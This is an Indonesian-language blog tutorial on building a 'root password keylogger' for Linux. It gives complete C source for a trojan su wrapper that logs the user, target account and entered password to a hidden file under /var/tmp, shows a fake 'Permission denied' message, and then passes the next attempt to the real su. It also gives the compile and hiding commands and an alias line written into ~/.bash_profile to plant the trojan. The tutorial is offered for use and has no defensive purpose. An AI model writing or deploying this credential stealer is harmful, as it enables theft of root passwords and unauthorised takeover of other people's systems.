Membuat Keylogger Password Root
Balik lagi dengan saya admin bekasi coders.
kali ini saya akan memberikan tutorial bagaimana cara untuk membuat keylogger password root pada sistem linux.
oke pertama-tama kita buat file di bawah ini terlebih dahulu file dibawah ini dan disimpan dengan ekstensi .C
Code:
#include <stdio.h> #include <string.h> #include <unistd.h> #define SU "/bin/su" /* better search the correct path */ #define PASSWD "/var/tmp/.passwd" #define LOCK "/var/tmp/.su.lock" extern char **environ; int main(int argc, char **argv) { char *pass; char *user; char *ruser; FILE *inFile; switch(argc) { case 1: user = "root"; break; case 2: if(!strncmp("-", argv[1], 1)) { user = "root"; } else { user = argv[1]; } break; case 3: user = argv[2]; break; } if((inFile = fopen(LOCK, "r")) != NULL) { unlink(LOCK); argv[0] = SU; execve(argv[0], argv, environ); } if((inFile = fopen(PASSWD, "a+")) == NULL) { execle(SU, SU, argv[1], argv[2], NULL, environ); #ifdef DEBUG perror("open() on PASSWD file"); #endif } pass = getpass("Password: "); ruser = getenv("USER"); fprintf(inFile, "%s tried %s / %s\n", ruser, user, pass); fclose(inFile); inFile = fopen(LOCK, "w"); fclose(inFile); printf("su: Permission denied\nSorry\n"); return 0; }
dan langkah ke 2 adalah
compile file tersebut
untuk linux mungkin bisa perintah seperti ini
gcc -O2 -o .su su.c
Keterangan File saya disimpan menggunakan nama su.c dan setelah dikompil menjadi file su.
Membuat Keylogger Password Root
dan langkah selanjutnya adalah pindahkan file tersebut ke folder /var/tmp/maka perintah yang bisa dijalankan adalah . mv .su /var/tmp/.su
Oke sekarang kita akan melakukan langkah terakhir.
langkah terkahir adalah dengan menggunakan perintah / CLI echo
Code:
echo "alias su=/var/tmp/.su" >> ~/.bash_profile
sekarang kita sudah bisa membuat keylogger password root :)
terima kasih untuk tetap mengunjungi blog kami :)